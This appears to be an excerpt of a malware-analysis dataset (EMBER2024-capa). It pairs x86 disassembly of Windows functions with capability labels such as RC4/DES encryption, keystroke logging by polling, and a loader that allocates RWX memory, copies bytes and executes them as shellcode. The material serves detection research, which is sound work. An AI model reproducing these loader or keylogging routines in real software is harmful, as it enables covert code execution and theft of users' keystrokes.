joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100771b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0xc
mov edx, dword [esp + 0x14]
push ebx
push esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
mov al, byte [esi + 0x100]
mov cl, byte [esi + 0x101]
test edx, edx
mov byte [esp + 0x20], al
mov byte [esp + 8], cl
jle 0x100772ad
push ebp
mov ebp, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x28]
and edi, 0xff
and ebp, 0xff
lea eax, [edi + 1]
and eax, 0x800000ff
jns 0x10077202
dec eax
or eax, 0xffffff00
inc eax
mov byte [esp + 0x28], al
xor ecx, ecx
mov edi, dword [esp + 0x28]
and edi, 0xff
mov cl, byte [edi + esi]
lea eax, [edi + esi]
add ecx, ebp
mov dword [esp + 0x18], eax
and ecx, 0x800000ff
jns 0x1007722e
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ebp, dword [esp + 0x10]
and ebp, 0xff
lea ecx, [esi + ebp]
push ecx
push eax
mov dword [esp + 0x1c], ecx
call fcn.10077190
mov eax, dword [esp + 0x1c]
xor edx, edx
xor ecx, ecx
add esp, 8
mov dl, byte [eax]
mov eax, dword [esp + 0x18]
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x1007726f
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [esp + 0x20]
and edx, 0xff
mov cl, byte [edx + esi]
mov dl, byte [ebx + eax]
xor dl, cl
mov byte [ebx + eax], dl
mov eax, dword [esp + 0x24]
inc ebx
cmp ebx, eax
jl 0x100771f1
mov dl, byte [esp + 0x28]
mov al, byte [esp + 0x10]
pop edi
mov byte [esi + 0x100], dl
mov byte [esi + 0x101], al
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
mov byte [esi + 0x100], al
mov byte [esi + 0x101], cl
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x10078290
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x100c43b4]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x100782a3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x100782e4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x100c445c]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x10078316
mov bl, byte [esp + ecx + 0x4c]
jmp 0x1007831a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x1007830b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x10078338
mov bl, byte [esp + ecx + 0x4c]
jmp 0x1007833c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x1007832d
xor ecx, ecx
mov eax, 0x100c43c4
xor ebx, ebx
mov bl, byte [ecx + 0x100c446c]
cmp byte [esp + ebx + 0x14], 0
je 0x10078367
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x100c4484]
cmp byte [esp + ebx + 0x14], 0
je 0x1007837e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x1007834e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x100782d7
lea edx, [esp + 0x84]
push edx
call fcn.100783c0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x1008d91e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1008d956
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1008b9d5
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1008b9ad
jmp 0x1008d962
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x1008f00f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1008f051
call fcn.100951e4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1008f051
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x1008f048
xor eax, eax
jmp 0x1008f059
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1008f05f
pop edi
pop esi
pop ebx
ret 4
Function at 0x40fc7d
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x40fd57
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x994044], 0x319
jne 0x40fd3f
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x424]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0x401420
push 0x401440
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.0040f269
add ebx, 8
dec dword [ebp - 0xc]
jne 0x40fc9b
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x40fd5c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
push 0x401464
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401474
push eax
mov dword [0x92c3a4], eax
call esi
push 0x401480
push dword [0x92c3a4]
mov dword [0x92c39c], eax
call esi
push dword [0x994044]
xor esi, esi
push esi
mov dword [0x90d004], eax
call dword [0x92c39c]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x994044]
mov dword [0x90d01c], eax
push eax
call dword [0x90d004]
xor edi, edi
cmp edi, 0x85b4
jge 0x40fddc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x40fe01
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x40fdc3
jg 0x40fe01
cmp eax, 0xd69e5f85
jb 0x40fdc3
mov eax, dword [0x41a0c4]
mov edx, dword [0x994044]
mov dword [0x994048], eax
xor eax, eax
cmp edx, esi
jbe 0x40fe38
mov ecx, dword [0x994048]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x90d01c]
mov byte [edx + eax], cl
mov edx, dword [0x994044]
inc eax
cmp eax, edx
jb 0x40fe17
mov ecx, dword [0x90d01c]
push 0x41a008
call fcn.0040fc7d
push 0x7b
pop ebx
cmp dword [0x994044], 0x54d
jne 0x40fe76
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x401490
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
dec ebx
jne 0x40fe4b
mov eax, dword [0x90d01c]
mov dword [0x92c3ac], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40fe8a
Capabilities:
Create thread
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
cmp dword [0x994044], 0x598
push ebx
push esi
jne 0x40ff07
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push 0x4014a4
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
lea eax, [ebp - 8]
push eax
push ebx
push 0x4014ac
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0x4014e0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call fcn.0041034a
push ebx
push ebx
push ebx
call fcn.00410128
push ebx
push ebx
call fcn.00410030
add esp, 0x18
call fcn.0040ffe6
mov esi, dword [0x41b074]
add esi, 0xb2d3b
mov eax, 0x41d1c0
mov dword [0x994044], esi
lea edx, [eax + 1]
xor ebx, ebx
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ff23
sub eax, edx
cmp eax, 0x1515
jne 0x40ff92
cmp esi, 0x18
jne 0x40ff5e
push ebx
push ebx
push ebx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x994044]
cmp esi, 0x9e6
jne 0x40ff82
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
call fcn.0040ffa6
push ebx
call fcn.0041034a
add esp, 0xc
call fcn.0040fd5c
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x4137b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c820]
jne 0x4137ba
repz ret
jmp fcn.00416235
Function at 0x415572
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004108a3
and dword [ebp - 4], 0
cmp dword [0x9946a0], 0
mov ebx, eax
jne 0x415623
push 0x401cf4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4156d4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401ce8
push edi
call esi
test eax, eax
je 0x4156d4
push eax
call fcn.00410831
mov dword [esp], 0x401cd8
push edi
mov dword [0x9946a0], eax
call esi
push eax
call fcn.00410831
mov dword [esp], 0x401cc4
push edi
mov dword [0x9946a4], eax
call esi
push eax
call fcn.00410831
mov dword [esp], 0x401ca8
push edi
mov dword [0x9946a8], eax
call esi
push eax
call fcn.00410831
pop ecx
mov dword [0x9946b0], eax
test eax, eax
je 0x415623
push 0x401c90
push edi
call esi
push eax
call fcn.00410831
pop ecx
mov dword [0x9946ac], eax
mov eax, dword [0x9946ac]
cmp eax, ebx
je 0x41567b
cmp dword [0x9946b0], ebx
je 0x41567b
push eax
call fcn.004108ac
push dword [0x9946b0]
mov esi, eax
call fcn.004108ac
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41567b
test edi, edi
je 0x41567b
call esi
test eax, eax
je 0x415672
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x415672
test byte [ebp - 0xc], 1
jne 0x41567b
or dword [ebp + 0x10], 0x200000
jmp 0x4156b4
mov eax, dword [0x9946a4]
cmp eax, ebx
je 0x4156b4
push eax
call fcn.004108ac
pop ecx
test eax, eax
je 0x4156b4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4156b4
mov eax, dword [0x9946a8]
cmp eax, ebx
je 0x4156b4
push eax
call fcn.004108ac
pop ecx
test eax, eax
je 0x4156b4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x9946a0]
call fcn.004108ac
pop ecx
test eax, eax
je 0x4156d4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4156d6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40dd50
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4884ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047aba5
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40ddd2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004783fd
mov eax, dword [eax]
push 0x57b1f0
push eax
call fcn.0046a524
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047ae30
test bl, bl
je 0x40ddd2
push 0x57b1f0
lea ecx, [esp + 0xc]
call fcn.0047b20c
push 0x57ed64
lea ecx, [esp + 0xc]
call fcn.0047b20c
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40de0e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047ae30
jmp 0x40ded9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40de92
lea edx, [esp + 0x7c]
push 0x57ed60
push edx
call fcn.0046a524
add esp, 8
test eax, eax
je 0x40de92
lea eax, [esp + 0x7c]
push 0x57ed5c
push eax
call fcn.0046a524
add esp, 8
test eax, eax
je 0x40de92
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40de22
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047ae30
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e6d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e732
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40e740
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48852b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x58b788]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e878
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e7a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047ae30
xor eax, eax
jmp 0x40e8ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047afb9
push esi
lea ecx, [esp + 0xc]
call fcn.0047b248
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e8cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0040e6d0
test eax, eax
jne 0x40e8cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0040e6d0
test eax, eax
jne 0x40e8cd
lea eax, [esp + 0x14]
push 0x57ed78
push eax
call fcn.0046b600
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e8ac
lea ecx, [esp + 0x14]
push 0x57ed74
push ecx
call fcn.0046b580
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e8ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e8af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047af69
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e7be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047ae30
xor eax, eax
jmp 0x40e8ef
mov byte [esi], 0
push 0x57ed70
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0047ae30
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ef10
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41ef7e
cmp si, 0x69
ja 0x41ef7e
add esi, 0xffd0
cmp si, 0x11
je 0x41ef4e
push 0x11
call edi
test ax, ax
jge 0x41ef4e
or esi, 0x2000
cmp si, 0x10
je 0x41ef63
push 0x10
call edi
test ax, ax
jge 0x41ef63
or esi, 0x4000
cmp si, 0x12
je 0x41ef78
push 0x12
call edi
test ax, ax
jge 0x41ef78
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41ef8b
mov esi, 0xbd
jmp 0x41ef3f
cmp si, 0x6e
jne 0x41ef98
mov esi, 0xbe
jmp 0x41ef3f
cmp si, 0x6f
jne 0x41ef39
mov esi, 0xbf
jmp 0x41ef3f

Function at 0x4205f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x59c5a0]
xor edx, edx
cmp eax, edx
jne 0x420616
xor eax, eax
mov byte [eax + 0x59c4a0], al
inc eax
cmp eax, 0x100
jl 0x4205fe
mov dword [0x59c5a0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x59c4a0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4206a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42067a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420648
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420773
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42075a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4271b0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x427348
cmp ebp, ebx
jle 0x427348
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x42720e
dec eax
or eax, 0xfffffff8
inc eax
je 0x427215
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427224
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42722b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0047ab71
add esp, 4
cmp eax, ebx
je 0x42724c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0047ab71
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42733e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427325
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427311
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x427306
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427314
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427314
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4272b0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4272a1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42a550
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4899f8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42a589
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00482644
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004826cc
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042a610
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00482709
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24